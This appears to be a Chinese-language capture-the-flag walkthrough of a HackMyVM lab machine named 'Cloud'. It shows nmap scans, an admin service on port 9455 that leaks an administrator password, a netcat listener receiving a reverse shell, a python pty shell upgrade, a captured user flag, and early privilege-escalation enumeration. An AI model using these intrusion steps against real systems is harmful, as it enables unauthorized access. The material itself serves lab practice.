┌──(kali㉿kali)-[~/HMV/cloud] └─$ sudo nmap -p- 192.168.43.154 -oA ports Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 10:01 CST Nmap scan report for Cloud (192.168.43.154) Host is up (0.0045s latency). Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 666/tcp open doom 9443/tcp open tungsten-https 9455/tcp open unknown 65443/tcp open unknown MAC Address: 2A:A2:51:AE:EC:AD (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 4.40 seconds
┌──(kali㉿kali)-[~/HMV/cloud] └─$ sudo nmap -sT -sC -sV -O -p80,666,9443,9455,65443 192.168.43.154 -oA details Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 10:03 CST Nmap scan report for Cloud (192.168.43.154) Host is up (0.0026s latency).
PORT STATE SERVICE VERSION 80/tcp open http |_http-title: Site doesn't have a title (text/html;charset=utf-8). | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.1 466 | Date: Thu, 14 Aug 2025 02:03:23 GMT | Content-Type: text/html;charset=utf-8 | Connection: close | Set-Cookie: sl-session=XFXkLmuVnmgLUlSv1uOrAw==; Path=/; Max-Age=86400; HttpOnly |_ <!DOCTYPE html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="icon" href="/.safeline/static/favicon.png" type="image/png"><title id="slg-title"></title><style>:root {--primary-color:#0067B8;--light-primary-color:#0067B8cc;--font-color:#fff;--light-font-color:#ffffff80;--success-color:#00b87c;--warning-color:#ff6666;--warning-font-color:#fff;--warning-light-font-color:#ffffff80;}</style><style>html{height:100%}body{height:100%;margin:0;font-family:PingFang SC,Helvetica Neue,Helvetica,Arial,sans-serif}#slg-bg{background-color:var(--primary-color);z-index:100;width:100%;height:100%;position:fixed;inset:0}#slg-box{z-index:300;border-r 666/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Site doesn't have a title (text/html). 9443/tcp open ssl/http nginx |_ssl-date: TLS randomness does not represent time | tls-alpn: | h2 | http/1.1 | http/1.0 |_ http/0.9 |_http-title: SafeLine Waf Community Edition | ssl-cert: Subject: organizationName=Chaitin Co., Ltd./stateOrProvinceName=Beijing/countryName=CN | Not valid before: 2023-12-04T14:36:41 |_Not valid after: 2123-11-10T14:36:41 |_http-trane-info: Problem with XML parsing of /evox/about 9455/tcp open unknown | fingerprint-strings: | GenericLines: | Welcome to Admin Service | Type 'help'for available commands | Available commands: | help - Show this help | whoami - Show current user | system-status - Show system status | exit - Disconnect | Unknown command: | GetRequest: | Welcome to Admin Service | Type 'help'for available commands | Available commands: | help - Show this help | whoami - Show current user | system-status - Show system status | exit - Disconnect | Unknown command: GET / HTTP/1.0 | HTTPOptions: | Welcome to Admin Service | Type 'help'for available commands | Available commands: | help - Show this help | whoami - Show current user | system-status - Show system status | exit - Disconnect | Unknown command: OPTIONS / HTTP/1.0 | NULL: | Welcome to Admin Service | Type 'help'for available commands | Available commands: | help - Show this help | whoami - Show current user | system-status - Show system status | exit - Disconnect | RTSPRequest: | Welcome to Admin Service | Type 'help'for available commands | Available commands: | help - Show this help | whoami - Show current user | system-status - Show system status | exit - Disconnect |_ Unknown command: OPTIONS / RTSP/1.0 65443/tcp open unknown | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, RPCCheck, RTSPRequest: | HTTP/1.1 400 Bad Request | Date: Thu, 14 Aug 2025 02:03:28 GMT | Content-Type: text/html | Content-Length: 204 | Connection: close | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> | <html> | <head><title>400 Bad Request</title></head> | <body> | <center><h1>400 Bad Request</h1></center> | <hr><center>tengine</center> | </body> | </html> | GetRequest, HTTPOptions: | HTTP/1.1 200 OK | Date: Thu, 14 Aug 2025 02:03:28 GMT | Content-Type: application/octet-stream | Content-Length: 0 |_ Connection: close Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 161.40 seconds
┌──(kali㉿kali)-[~/HMV/cloud] └─$ nc 192.168.43.154 9455 Welcome to Admin Service Type 'help'for available commands Available commands: help - Show this help whoami - Show current user system-status - Show system status exit - Disconnect help Available commands: help - Show this help whoami - Show current user system-status - Show system status show-admin-pass - Show admin password exit - Disconnect
看上去是个自己搭建的对话程序,输入 help 之后,出现了一个有意思的 show-admin-pass 选项,输入这个命令之后,它返回了一个密码:Admin Password: 5jRrRnE9,可能这个密码在某个 web 的登录页面会用到。
┌──(kali㉿kali)-[~/HMV/cloud] └─$ nc -nvlp 1234 Listening on 0.0.0.0 1234 Connection received on 192.168.43.154 39804 python3 -c "import pty;pty.spawn('/bin/bash')" www-data@Cloud:~/html$
在 /home/lucky 目录下,拿到了 user flag:
1 2 3 4 5 6 7
www-data@Cloud:/home/lucky$ ls ls user.txt www-data@Cloud:/home/lucky$ cat user.txt cat user.txt flag{user-72cfd272ace172fa35026445fbef9b03} www-data@Cloud:/home/lucky$
提权
同样在 /home/lucky 目录下,有一个 .hint 文件,但是我们无法查看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
www-data@Cloud:/home/lucky$ ls -liah ls -liah total 28K 527366 drwxr-xr-x 2 lucky lucky 4.0K Aug 12 06:04 . 523265 drwxr-xr-x 3 root root 4.0K Aug 12 03:38 .. 527367 -rw-r--r-- 1 lucky lucky 220 Aug 12 03:38 .bash_logout 527368 -rw-r--r-- 1 lucky lucky 3.5K Aug 12 03:38 .bashrc 530672 -rw------- 1 lucky lucky 45 Aug 12 06:04 .hint 527369 -rw-r--r-- 1 lucky lucky 807 Aug 12 03:38 .profile 530667 -rw-r--r-- 1 root root 44 Aug 12 03:38 user.txt www-data@Cloud:/home/lucky$ cat .hint cat .hint cat: .hint: Permission denied www-data@Cloud:/home/lucky$
因此我们需要想办法提权到 lucky 这个用户才行。
在根目录 / 下,我发现了一个比较多余的目录 data :
1 2 3 4 5 6 7 8
www-data@Cloud:~$ cd / cd / www-data@Cloud:/$ ls ls bin dev initrd.img lib32 lost+found opt run sys var boot etc initrd.img.old lib64 media proc sbin tmp vmlinuz data home lib libx32 mnt root srv usr vmlinuz.old www-data@Cloud:/$